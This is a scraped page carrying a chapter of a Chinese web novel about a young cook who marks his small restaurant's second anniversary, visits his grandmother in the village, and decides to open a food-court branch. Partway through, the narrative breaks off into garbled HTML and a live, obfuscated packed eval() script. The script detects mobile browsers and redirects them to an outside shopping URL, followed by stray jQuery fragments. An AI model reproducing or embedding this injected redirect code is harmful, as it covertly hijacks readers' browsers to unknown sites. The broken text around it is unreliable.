默认冷灰
24号文字
方正启体

57.第 57 章

作者:疯狂星期八本书字数:K更新时间:
    八月的时候,房寨的店开了整整两年了。


    两年前的八月,他在城南翠屏路租下了这个二十平米的小店,刷了墙,买了二手桌椅,自己写了招牌,开了张。那时候他什么都没有,只有一双手和系统给的那些技能。两年后的今天,他有了稳定的客源,有了靠谱的员工,有了一面墙的画,有了一个塞满文件的柜子。他变了,店也变了,但有一件事没变——他还在做饭,站在那个灶台前,握着那把锅铲。


    他把这件事在群里说了一下:“这个月开店两周年,全场八折,酸梅汤免费。”


    群里炸了。


    “两周年了?时间过得真快!”


    “我两年前第一天就来了,还记得那时候墙还没刷呢。”


    “我也记得!那时候菜单还是手写的,字歪歪扭扭的。”


    “寨哥儿,两周年快乐!”


    房寨看着这些消息,笑了。有人记得他刚开店时候的样子,有人记得他的墙没刷、桌子是二手的、菜单是手写的。那些他觉得不够好的、想藏起来的东西,在别人眼里是回忆,是故事,是他一路走来的痕迹。


    中午的时候,店里来了很多人。有的是老客人,从开店第一天就来的,每周都来,从来没断过。有的是新客人,听说了两周年活动,专门来凑热闹的。有的是群里的,没见过面,但一直在网上支持他,今天第一次来店里。


    一个年轻姑娘走到厨房门口,冲房寨喊了一声:“寨哥儿,我从两年前就关注你了,今天是第一次来!”


    房寨从厨房里探出头,看着她。“欢迎欢迎,想吃什么?”


    “葱油拌面!我在群里看你发的照片馋了两年了!”


    房寨笑了,给她做了一碗葱油拌面,多加了一勺葱油,多加了一把葱花。姑娘吃了一口,眼眶红了。


    “好吃吗?”房寨问。


    “好吃。”姑娘吸了吸鼻子,“比我想的还好吃。”


    房寨觉得,这就是他开店的意义。有人馋了两年的面,终于吃到了,觉得好吃,觉得值得。这比任何夸奖都让他高兴。


    晚上关店之后,房寨一个人坐在店里,把那本记账本从头到尾翻了一遍。从开店第一天到现在,每一笔收入、每一笔支出、每一天的净赚,他都记得清清楚楚。他看着那些数字,从一两百到四五百,从五六样到十几样,从一个人到四个人。数字不会骗人,数字记录了他的每一步,每一次进步,每一次挫折,每一次爬起。


    他翻到第一页,上面写着:开店第一天,净赚820。旁边画了一个笑脸,歪歪扭扭的,像个小孩画的。他看着那个笑脸,笑了。那时候他画笑脸还画不好,现在他画笑脸已经很熟练了,一笔就能画出来。


    他把记账本合上,放回文件柜里。柜子里整整齐齐的,发票、收据、名片、请柬、小月的画、张建国的对联、客人们写的纸条,分门别类地放好。他打开最下面一层抽屉,里面放着一个信封,鼓鼓囊囊的,里面装着王丽还的钱、张建国给的钱、客人们送的红包。他从来没动过这些钱,他想等小月长大了,或者需要的时候,把这些钱给她。


    他关上抽屉,站起来,关了灯,锁了门。


    大橘猫在楼道口等他,看到他来了,喵喵叫着跑过来,蹭他的腿。他蹲下来,摸了摸它的头。


    “你知道吗,今天两周年了。”


    猫喵了一声,好像在说“我知道”。


    “两年了,真快。”


    猫又喵了一声,好像在说“是啊”。


    房寨笑了笑,站起来,上楼去了。


    八月的第二周,店里发生了一件小事。


    一个年轻人在店里吃凉面的时候,手机响了。他接起来,听了一会儿,然后哭了。不是那种大声的哭,是那种默默的流泪,眼泪一颗一颗地往下掉,砸在碗里,把凉面的汤汁都冲淡了。


    店里的客人都在看他,有人想过去问,又怕唐突。房寨从厨房里出来,走到他面前,蹲下来。


    “怎么了?”


    年轻人抬起头,看着他,眼睛红红的。“我奶奶走了。”


    房寨愣了一下。


    “刚才我妈打电话来说的。”年轻人用手背擦了擦眼泪,“我回不去了,我在外地,赶不回去了。”


    房寨站起来,回到厨房,做了一碗阳春面,端到他面前。


    “这碗我请你。你慢慢吃。”


    年轻人看着那碗面,又哭了。他拿起筷子,挑了一箸面,送进嘴里,嚼了嚼,又吃了一口。他吃得很慢,一口一口的,像在吃一种很珍贵的东西。


    “好吃吗?”房寨问。


    “好吃。”年轻人说,“和我奶奶做的一个味道。”


    房寨没说话,拍了拍他的肩膀,转身回了厨房。


    年轻人把那碗面吃完了,汤也喝了。他站起来,走到厨房门口,看着房寨。


    “老板,谢谢你。”


    “不客气。”


    “我以后会常来的。”


    “好。”


    年轻人走了。房寨站在厨房门口,看着他的背影消失在街角。他的背很直,走路的步子很稳,但房寨觉得那个背影很轻,像一张纸,风一吹就会飘走。他想起奶奶,想起奶奶一个人在家,想起奶奶说“我想你了”,想起奶奶站在村口送他的样子。他的眼眶红了,但没哭。他掏出手机,给奶奶打了个电话。响了好几声才接,奶奶的声音从听筒里传出来,带着老家的口音,听起来很亲切。


    “奶奶,你吃饭了吗?”


    “吃了。”


    “吃的什么?”


    “面条。”


    “什么面?”


    “就是面条。”奶奶说,“你问这么细干什么?”


    房寨笑了。“奶奶,我想你了。”


    电话那头沉默了一会儿。


    “我也想你了。”奶奶说,声音很小,像怕被别人听到。


    八月的第三周,房寨回了一趟老家。


    这次不是专门回去的,是去县城办点事,顺便回村里看看奶奶。他提前一天走的,坐下午的火车,到县城的时候天已经黑了,住了一晚,第二天一早坐大巴回镇上,再坐摩的回村里。马师傅还是那辆摩托,还是突突突的声音,但车更旧了,排气管用铁丝绑着,后视镜只剩一个。


    “房寨,你奶奶身体还好吧?”马师傅问。


    “还行,就是膝盖不好。”


    “老人嘛,都这样。我老娘也是,膝盖不行,走路要拄拐杖。”


    到了家,奶奶正在院子里洗衣服。她蹲在地上,面前是一盆水、一块搓衣板、一堆衣服。她的手泡在水里,红红的,皱皱的,像泡发了的木耳。听到脚步声,她抬起头,看到房寨,笑了。


    “回来了?”


    “回来了。”


    “吃饭了没有?”


    “吃了。”


    “骗人。”奶奶站起来,在围裙上擦了擦手,往厨房走,“我给你做。”


    房寨跟在她后面,进了厨房。厨房很小,灶台很矮,奶奶弯着腰炒菜,背驼得很厉害,像一张弓。他走过去,接过锅铲。


    “我来。”


    奶奶没争,退到一边,看着他炒。房寨炒了一盘鸡蛋、一盘青菜、一碗汤。菜不多,但都是热的,冒着白气。两个人坐在院子里吃,阳光很好,照在菜上,照在碗上,照在奶奶的白发上。


    “奶奶,我跟你说个事。”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17616454|203000||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    “什么事?”


    “美食广场的经理来找我了,问我要不要去开分店。”


    奶奶的手停了一下。


    “你怎么想的?”


    “我不知道。”


    “你想去吗?”


    房寨想了想。想去吗?他现在的店虽然小,但稳。去了美食广场,人流量大了,收入高了,但风险也大了。他不怕风险,他怕的是变了。变了之后,他还是他吗?他的店还是他的店吗?


    “我想去,又不想去。”房寨说。


    奶奶看着他,看了几秒。


    “寨儿,你还记得你爷爷吗?”


    房寨愣了一下。爷爷在他很小的时候就走了,他只有一点模糊的记忆,一个高大的背影,一双粗糙的大手,还有一碗面。


    “不太记得了。”


    “你爷爷年轻的时候,是个木匠。手艺很好,方圆几十里的人都找他做家具。”奶奶说,“后来镇上开了个家具厂,机器做的家具又便宜又快,没人找他做了。有人劝他去厂里上班,他不去。他说,机器做的家具不是家具,是木头。人做的家具才是家具,有温度。”


    房寨听着,没说话。


    “你爷爷后来没去厂里,一直在家做木工,做到老,做到手抖了做不动了。”奶奶说,“他做的那些家具,现在还在用。那张桌子,那个柜子,那把椅子,都是他做的。用了几十年了,还是好好的。”


    奶奶看着房寨。


    “寨儿,你想做什么,就去做。但别忘了,你做的饭,是你做的,不是机器做的。”


    房寨看着奶奶,喉咙很紧。他想起自己刚开店的时候,菜单是手写的,字歪歪扭扭的,但客人说“有温度”。他想起自己站在灶台前炒菜,汗水从额头上流下来,滴在围裙上,客人说“能吃到你的用心”。这些东西,是机器给不了的,是系统给不了的,是他用双手、用汗水、用心一点一点做出来的。


    “奶奶,我懂了。”房寨说。


    奶奶笑了,笑得很开心。


    第二天一早,房寨要走了。奶奶送他到村口,穿着那件紫棉袄,头发盘得整整齐齐,站在树下,风吹着她的白发。她这次没哭,笑着冲他挥手。


    “下个月还回来?”


    “回来。”


    “别忘了。”


    “忘不了。”


    房寨上了摩的,马师傅发动车子,突突突的。他回头看了一眼,奶奶还站在原地,手举着,一直没放下。


    他转过头,风打在脸上,凉飕飕的。他的眼眶红了,但没哭。


    回到城里,房寨直接去了店里。张建国在厨房里忙活,小赵在外面点单,周阿姨在洗碗。一切正常,和他走的时候一样。他走进厨房,系上围裙,开始炒菜。灶火很旺,锅里的油热了,菜倒进去,刺啦一声,香味炸开。


    “寨哥,你奶奶怎么样?”张建国问。


    “还行,就是膝盖不好。”


    “老人嘛,都这样。”


    房寨点了点头,没再说话。他炒菜的时候很专注,不想别的事,只想着锅里的菜。盐放多少,火候多大,什么时候出锅。这些事占据了他的大脑,让他没空想别的。


    晚上关店之后,房寨一个人坐在店里,给美食广场的周经理打了个电话。


    “周经理,那个铺位,我要了。”


    周经理在电话那头笑了。“欢迎你,寨哥儿。”


    房寨挂了电话,坐在那里,看着窗外的路灯。路灯的光很黄,照在玻璃上,映出他的影子,模模糊糊的,看不清脸。他不知道自己这个决定是对是错,但他知道,他做的饭,是他做的,不是机器做的。这一点,不管他去哪里,都不会变。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)